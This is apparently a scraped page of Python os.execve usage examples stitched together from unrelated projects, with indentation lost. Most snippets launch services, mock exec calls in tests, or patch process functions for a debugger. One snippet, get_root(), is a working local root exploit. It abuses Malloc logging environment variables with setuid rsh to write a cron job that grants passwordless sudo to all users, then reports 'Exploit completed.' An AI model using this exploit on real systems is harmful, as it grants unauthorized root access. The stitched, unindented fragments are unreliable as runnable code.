def process_target_lldpd():
cmd = [
"%s" % KernelVirtualMachinePlayer.rkt_bin,
"--local-config=%s" % KernelVirtualMachinePlayer.tests_path,
"run",
KernelVirtualMachinePlayer.ec.lldp_image_url,
"--insecure-options=all",
"--net=host",
"--interactive",
"--set-env=TERM=%s" % os.getenv("TERM", "xterm"),
"--exec",
"/usr/sbin/lldpd",
"--",
"-dd"]
display("PID -> %s\n"
"exec -> %s" % (os.getpid(), " ".join(cmd)))
sys.stdout.flush()
os.execve(cmd[0], cmd, os.environ)
os._exit(2) # Should not happen
python类execve()的实例源码
def matchbox(ec):
cmd = [
"%s/runtime/matchbox/matchbox" % PROJECT_PATH,
"-address",
ec.matchbox_uri.replace("https://", "").replace("http://", ""),
"-assets-path",
"%s" % ec.matchbox_assets,
"-data-path",
"%s" % ec.matchbox_path,
"-log-level",
ec.matchbox_logging_level.lower(),
]
print("exec[%s] -> %s\n" % (os.getpid(), " ".join(cmd)))
with open(ec.matchbox_pid_file, "w") as f:
f.write("%d" % os.getpid())
os.execve(cmd[0], cmd, os.environ)
def run(name, shell):
for pod in Pod.objects(kube_api).filter(selector={'app': name}).iterator():
if pod.ready: # use the first ready pod, otherwise we use the last pod
break
def env_vars():
d = {
'KYBER_USER': pwd.getpwuid(os.getuid()).pw_name,
'KYBER_POD': pod.name,
'KYBER_APP': name,
'KYBER_KUBECTL_CONTEXT': kube_api.config.current_context,
}
return " ".join(["{}={}".format(key, val) for key, val in d.iteritems()])
cmd = '{env} {shell}'.format(env=env_vars(), shell=shell)
click.echo("Running shell in pod `{}` in kube ctx `{}`".format(
pod.name, kube_api.config.current_context))
os.execve(
get_executable_path('kubectl'),
["kubectl", "exec", "-i", "-t", pod.name, '--', shell, '-c', cmd],
os.environ
)
def launch(cfg=None, executor=None):
if cfg is None:
from kyber.lib.kube import kube_api
cfg = kube_api.config
if executor is None:
executor = os.execve
try:
context = Context()
click.echo("Opening dashboard for `{}` in `{}`".format(context.name, cfg.namespace))
url = service_dashboard(cfg, context.name)
except ContextError: # fall back to opening the kubernetes dashboard
click.echo("Not in a kyber context, showing dash for k8s pods in `{}`".format(cfg.namespace))
url = namespace_dashboard(cfg)
try:
executor(get_executable_path('open'), ["open", url], os.environ)
except Exception as e:
click.echo("Unable to launch dashboard automatically ({})".format(e.message))
click.echo("URL: {}".format(url))
def start(self, direction, path=''):
self.ensureKeyPerms()
unisonPath = self.getUnisonBin()
unisonArgs = self.getUnisonArgs(direction, path)
unisonEnv = self.getUnisonEnv()
if self.ignoreArchives:
# It seems that in certain cases, unison does not observe the -ignorearchives flag correctly
# So to make sure, we forcibly delete previous archives on both sides
res = Try.sequence([
# Delete host archives
Shell.call(["rm", "-rf", unisonEnv['UNISON']], shell=False),
# Delete guest archives
self.engine.readLink().bind(Link.runCommand, 'rm -rf /substance/.unison')
])
if res.isFail():
return res
logger.info("Syncing local directory %s to remote directory %s", unisonArgs[-2], unisonArgs[-1])
logger.debug("EXEC: %s", Shell.stringify([unisonPath] + unisonArgs, unisonEnv))
os.execve(unisonPath, unisonArgs, unisonEnv)
def __init__(self, config):
self.config = config
self.execve = os.execve
def executeFollowUpCommand(self, followUpCommand):
try:
exitCode = self.execve(followUpCommand[0], followUpCommand, os.environ)
if exitCode != 0:
raise FollowUpCommandFailedException("Follow up command failed with exit code %s." % exitCode )
except Exception as e:
raise FollowUpCommandFailedException("Follow up command failed. %s" % e.message)
def restart_reloader():
while True:
args = [sys.executable] + sys.argv
child_environ = os.environ.copy()
pid = os.fork()
# child process
if not pid:
child_environ["RUN_MAIN"] = "true"
# may exit with FILE_CHANGED code
# in fact, call itself
os.execve(sys.executable, args, child_environ)
# parent process
else:
signal_code = wait_child(pid)
handle_child_exit(signal_code)
# sample
# from wsgiref.simple_server import make_server
# def run():
# httpd = make_server(host='', port=8848, app=app)
# httpd.serve_forever()
# if __name__ == '__main__':
# autoreload(run)
def _execvpe_mockup(defpath=None):
"""
Stubs out execv and execve functions when used as context manager.
Records exec calls. The mock execv and execve functions always raise an
exception as they would normally never return.
"""
# A list of tuples containing (function name, first arg, args)
# of calls to execv or execve that have been made.
calls = []
def mock_execv(name, *args):
calls.append(('execv', name, args))
raise RuntimeError("execv called")
def mock_execve(name, *args):
calls.append(('execve', name, args))
raise OSError(errno.ENOTDIR, "execve called")
try:
orig_execv = os.execv
orig_execve = os.execve
orig_defpath = os.defpath
os.execv = mock_execv
os.execve = mock_execve
if defpath is not None:
os.defpath = defpath
yield calls
finally:
os.execv = orig_execv
os.execve = orig_execve
os.defpath = orig_defpath
def create_execve(original_name):
"""
os.execve(path, args, env)
os.execvpe(file, args, env)
"""
def new_execve(path, args, env):
import os
send_process_created_message()
return getattr(os, original_name)(path, patch_args(args), env)
return new_execve
def patch_new_process_functions_with_warning():
monkey_patch_os('execl', create_warn_multiproc)
monkey_patch_os('execle', create_warn_multiproc)
monkey_patch_os('execlp', create_warn_multiproc)
monkey_patch_os('execlpe', create_warn_multiproc)
monkey_patch_os('execv', create_warn_multiproc)
monkey_patch_os('execve', create_warn_multiproc)
monkey_patch_os('execvp', create_warn_multiproc)
monkey_patch_os('execvpe', create_warn_multiproc)
monkey_patch_os('spawnl', create_warn_multiproc)
monkey_patch_os('spawnle', create_warn_multiproc)
monkey_patch_os('spawnlp', create_warn_multiproc)
monkey_patch_os('spawnlpe', create_warn_multiproc)
monkey_patch_os('spawnv', create_warn_multiproc)
monkey_patch_os('spawnve', create_warn_multiproc)
monkey_patch_os('spawnvp', create_warn_multiproc)
monkey_patch_os('spawnvpe', create_warn_multiproc)
if sys.platform != 'win32':
monkey_patch_os('fork', create_warn_multiproc)
try:
import _posixsubprocess
monkey_patch_module(_posixsubprocess, 'fork_exec', create_warn_fork_exec)
except ImportError:
pass
else:
# Windows
try:
import _subprocess
except ImportError:
import _winapi as _subprocess
monkey_patch_module(_subprocess, 'CreateProcess', create_CreateProcessWarnMultiproc)
def _execvpe_mockup(defpath=None):
"""
Stubs out execv and execve functions when used as context manager.
Records exec calls. The mock execv and execve functions always raise an
exception as they would normally never return.
"""
# A list of tuples containing (function name, first arg, args)
# of calls to execv or execve that have been made.
calls = []
def mock_execv(name, *args):
calls.append(('execv', name, args))
raise RuntimeError("execv called")
def mock_execve(name, *args):
calls.append(('execve', name, args))
raise OSError(errno.ENOTDIR, "execve called")
try:
orig_execv = os.execv
orig_execve = os.execve
orig_defpath = os.defpath
os.execv = mock_execv
os.execve = mock_execve
if defpath is not None:
os.defpath = defpath
yield calls
finally:
os.execv = orig_execv
os.execve = orig_execve
os.defpath = orig_defpath
def get_root():
env = {}
old_size = os.stat("/etc/sudoers").st_size
env['MallocLogFile'] = '/etc/crontab'
env['MallocStackLogging'] = 'yes'
env['MallocStackLoggingDirectory'] = 'a\n* * * * * root echo "ALL ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers\n\n\n\n\n'
print "Creating /etc/crontab..."
p = os.fork()
if p == 0:
os.close(1)
os.close(2)
os.execve("/usr/bin/rsh", ["rsh", "localhost"], env)
time.sleep(1)
if "NOPASSWD" not in open("/etc/crontab").read():
print "FAILED!"
exit(-1)
print "Done, waiting for /etc/sudoers to update..."
while os.stat("/etc/sudoers").st_size == old_size:
time.sleep(1)
print "Exploit completed."
os.system("sudo rm -rf /etc/crontab")
exit()
def _execvpe_mockup(defpath=None):
"""
Stubs out execv and execve functions when used as context manager.
Records exec calls. The mock execv and execve functions always raise an
exception as they would normally never return.
"""
# A list of tuples containing (function name, first arg, args)
# of calls to execv or execve that have been made.
calls = []
def mock_execv(name, *args):
calls.append(('execv', name, args))
raise RuntimeError("execv called")
def mock_execve(name, *args):
calls.append(('execve', name, args))
raise OSError(errno.ENOTDIR, "execve called")
try:
orig_execv = os.execv
orig_execve = os.execve
orig_defpath = os.defpath
os.execv = mock_execv
os.execve = mock_execve
if defpath is not None:
os.defpath = defpath
yield calls
finally:
os.execv = orig_execv
os.execve = orig_execve
os.defpath = orig_defpath
def process_target_matchbox():
os.environ["ENJOLIVER_MATCHBOX_PATH"] = TestAPIGunicornScheduler.test_matchbox_path
os.environ["ENJOLIVER_MATCHBOX_ASSETS"] = TestAPIGunicornScheduler.assets_path
cmd = [
"%s" % sys.executable,
"%s/manage.py" % TestAPIGunicornScheduler.project_path,
"matchbox"
]
print("PID -> %s\n"
"exec -> %s\n" % (
os.getpid(), " ".join(cmd)))
sys.stdout.flush()
os.execve(cmd[0], cmd, os.environ)
def process_target_api():
cmd = [
"%s" % sys.executable,
"%s/manage.py" % TestAPIGunicornScheduler.project_path,
"gunicorn"
]
os.execve(cmd[0], cmd, os.environ)
def process_target_matchbox():
os.environ["ENJOLIVER_MATCHBOX_PATH"] = TestEnjoliverCockroach.test_matchbox_path
os.environ["ENJOLIVER_MATCHBOX_ASSETS"] = TestEnjoliverCockroach.assets_path
cmd = [
"%s" % sys.executable,
"%s/manage.py" % TestEnjoliverCockroach.project_path,
"matchbox"
]
print("PID -> %s\n"
"exec -> %s\n" % (
os.getpid(), " ".join(cmd)))
os.execve(cmd[0], cmd, os.environ)
def process_target_api():
os.environ["ENJOLIVER_DB_URI"] = EC.db_uri
os.environ["ENJOLIVER_API_URI"] = EC.api_uri
os.environ["ENJOLIVER_GUNICORN_WORKERS"] = "3"
os.environ["ENJOLIVER_LOGGING_LEVEL"] = "INFO"
cmd = [
"%s/manage.py" % TestEnjoliverCockroach.project_path,
"gunicorn"
]
os.execve(cmd[0], cmd, os.environ)
def process_target_matchbox():
os.environ["ENJOLIVER_MATCHBOX_PATH"] = TestAPIGunicorn.test_matchbox_path
os.environ["ENJOLIVER_MATCHBOX_ASSETS"] = TestAPIGunicorn.assets_path
cmd = [
"%s" % sys.executable,
"%s/manage.py" % TestAPIGunicorn.project_path,
"matchbox"
]
print("PID -> %s\n"
"exec -> %s\n" % (
os.getpid(), " ".join(cmd)))
sys.stdout.flush()
os.execve(cmd[0], cmd, os.environ)
def process_target():
os.environ["ENJOLIVER_MATCHBOX_PATH"] = TestBootConfigCommon.test_matchbox_path
os.environ["ENJOLIVER_MATCHBOX_ASSETS"] = TestBootConfigCommon.assets_path
cmd = [
"%s" % sys.executable,
"%s/manage.py" % TestBootConfigCommon.project_path,
"matchbox"
]
print("PID -> %s\n"
"exec -> %s\n" % (
os.getpid(), " ".join(cmd)))
sys.stdout.flush()
os.execve(cmd[0], cmd, os.environ)
def process_target_matchbox():
os.environ["ENJOLIVER_MATCHBOX_PATH"] = TestAPI.test_matchbox_path
os.environ["ENJOLIVER_MATCHBOX_ASSETS"] = TestAPI.assets_path
cmd = [
"%s" % sys.executable,
"%s/manage.py" % TestAPI.project_path,
"matchbox",
]
print("PID -> %s\n"
"exec -> %s\n" % (
os.getpid(), " ".join(cmd)))
sys.stdout.flush()
os.execve(cmd[0], cmd, os.environ)
def process_target_matchbox():
os.environ["MATCHBOX_PATH"] = KernelVirtualMachinePlayer.test_matchbox_path
cmd = [
"%s" % sys.executable,
"%s/manage.py" % KernelVirtualMachinePlayer.project_path,
"matchbox",
]
display("PID -> %s\n"
"exec -> %s" % (os.getpid(), " ".join(cmd)))
sys.stdout.flush()
os.environ["TERM"] = "xterm"
os.execve(cmd[0], cmd, os.environ)
def process_target_acserver():
cmd = [
"%s" % KernelVirtualMachinePlayer.acserver_bin,
]
display("PID -> %s\n"
"exec -> %s" % (os.getpid(), " ".join(cmd)))
sys.stdout.flush()
os.environ["TERM"] = "xterm"
os.execve(cmd[0], cmd, os.environ)
def process_target_api():
os.environ["ENJOLIVER_DB_PATH"] = "%s/enjoliver.sqlite" % KernelVirtualMachinePlayer.euid_path
os.environ["ENJOLIVER_IGNITION_JOURNAL_DIR"] = "%s/ignition_journal" % KernelVirtualMachinePlayer.euid_path
try:
os.remove(os.environ["ENJOLIVER_DB_PATH"])
except OSError:
pass
shutil.rmtree(os.environ["ENJOLIVER_IGNITION_JOURNAL_DIR"], ignore_errors=True)
try:
with open("%s/.config/enjoliver/config.json" % os.getenv("HOME")) as f:
conf = json.load(f)
os.environ["ENJOLIVER_AWS_ACCESS_KEY_ID"] = conf["AWS_ACCESS_KEY_ID"]
os.environ["ENJOLIVER_AWS_SECRET_ACCESS_KEY"] = conf["AWS_SECRET_ACCESS_KEY"]
except (IOError, ValueError):
pass
os.environ["ENJOLIVER_BACKUP_BUCKET_NAME"] = "bbcenjoliver-dev"
os.environ["ENJOLIVER_SYNC_NOTIFY_TTL"] = "0"
cmd = [
"%s" % sys.executable,
"%s/manage.py" % KernelVirtualMachinePlayer.project_path,
"gunicorn",
]
display("PID -> %s\n"
"exec -> %s" % (os.getpid(), " ".join(cmd)))
os.execve(cmd[0], cmd, os.environ)
def kubectl_proxy(self, proxy_port: int):
def run():
cmd = [
"%s/hyperkube/hyperkube" % self.project_path,
"kubectl",
"--kubeconfig",
os.path.join(self.tests_path, "testing_kubeconfig.yaml"),
"proxy",
"-p",
"%d" % proxy_port
]
display("-> %s" % " ".join(cmd))
os.execve(cmd[0], cmd, os.environ)
return run
def gunicorn(ec):
cmd = [
"%s/env/bin/gunicorn" % PROJECT_PATH,
"--chdir",
APP_PATH,
"api:application",
"--worker-class",
ec.gunicorn_worker_type,
"-b",
ec.gunicorn_bind,
"--log-level",
ec.logging_level.lower(),
"-w",
"%s" % ec.gunicorn_workers,
"-c",
gunicorn_conf.__file__
]
if not os.getenv('prometheus_multiproc_dir', None):
os.environ["prometheus_multiproc_dir"] = ec.prometheus_multiproc_dir
fs_gunicorn_cleaning()
p = multiprocessing.Process(target=lambda: os.execve(cmd[0], cmd, os.environ))
def stop(signum, frame):
print("terminating %d" % p.pid)
p.terminate()
print("starting gunicorn: %s" % " ".join(cmd))
p.start()
with open(ec.gunicorn_pid_file, "w") as f:
f.write("%d" % p.pid)
for sig in [signal.SIGINT, signal.SIGTERM]:
signal.signal(sig, stop)
p.join()
fs_gunicorn_cleaning()
def plan(ec):
cmd = [
PYTHON,
"%s/plans/k8s_2t.py" % APP_PATH,
]
print("exec[%s] -> %s\n" % (os.getpid(), " ".join(cmd)))
with open(ec.plan_pid_file, "w") as f:
f.write("%d" % os.getpid())
os.execve(cmd[0], cmd, os.environ)
def with_path_overlay(target, params):
"""
Overlay Python with target on the path and params
"""
cmd = [sys.executable] + params
os.execve(sys.executable, cmd, _setup_env(target))
def _execvpe_mockup(defpath=None):
"""
Stubs out execv and execve functions when used as context manager.
Records exec calls. The mock execv and execve functions always raise an
exception as they would normally never return.
"""
# A list of tuples containing (function name, first arg, args)
# of calls to execv or execve that have been made.
calls = []
def mock_execv(name, *args):
calls.append(('execv', name, args))
raise RuntimeError("execv called")
def mock_execve(name, *args):
calls.append(('execve', name, args))
raise OSError(errno.ENOTDIR, "execve called")
try:
orig_execv = os.execv
orig_execve = os.execve
orig_defpath = os.defpath
os.execv = mock_execv
os.execve = mock_execve
if defpath is not None:
os.defpath = defpath
yield calls
finally:
os.execv = orig_execv
os.execve = orig_execve
os.defpath = orig_defpath
def restart(self, ctx):
await ctx.message.add_reaction(":helYea:236243426662678528")
os.execve(sys.executable, ['python', '-m', 'dango'], os.environ)